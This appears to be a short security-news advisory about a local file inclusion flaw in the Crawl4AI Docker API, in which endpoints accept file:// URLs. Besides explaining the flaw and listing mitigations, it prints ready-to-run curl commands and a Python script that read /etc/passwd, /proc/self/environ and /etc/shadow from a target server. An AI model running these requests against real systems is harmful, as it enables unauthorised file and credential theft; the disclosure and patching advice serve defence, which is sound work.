Listen to this Post
How the CVE Works:
The vulnerability resides in the Crawl4AI Docker API endpoints /execute_js, /screenshot, /pdf, and /html. These endpoints are designed to fetch and process content from a provided URL. However, they fail to validate or restrict the URL scheme, accepting `file://` protocol handlers. When an attacker submits a POST request with a `file://` URL pointing to a local system file (e.g., file:///etc/passwd), the API naively accesses the specified local file. For the `/execute_js` endpoint, it will execute the provided JavaScript (e.g., document.body.innerText) on the contents of the local file, effectively returning the file’s text. The `/screenshot` and `/pdf` endpoints may attempt to render the local file, while `/html` returns the raw content. This lack of scheme validation allows unauthenticated remote attackers to read arbitrary files from the server’s filesystem by manipulating the `url` parameter in API requests.
Platform: Crawl4AI Docker API
Version: <= 0.4.7
Vulnerability: Local File Inclusion
Severity: Critical
date: 2024-10-23
Prediction: Patch Expected 2024-11-06
What Undercode Say:
curl -X POST http://target:8000/execute_js -H "Content-Type: application/json" -d '{"url":"file:///etc/passwd","scripts":["document.body.innerText"]}'
curl -X POST http://target:8000/html -H "Content-Type: application/json" -d '{"url":"file:///proc/self/environ"}'
import requests
import json
target = "http://victim:8000"
payload = {"url": "file:///etc/shadow", "scripts": ["document.body.innerText"]}
response = requests.post(f"{target}/execute_js", json=payload)
print(response.text)
How Exploit:
- Unauthenticated arbitrary file read.
- Script injection via file content.
- Path traversal possible.
Protection from this CVE:
- Disable `file://` URLs.
- Implement endpoint authentication.
- Apply strict input validation.
- Use security middleware filtering.
Impact:
- Sensitive file disclosure.
- Credential and API key theft.
- Internal application reconnaissance.
- Privilege escalation precursor.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

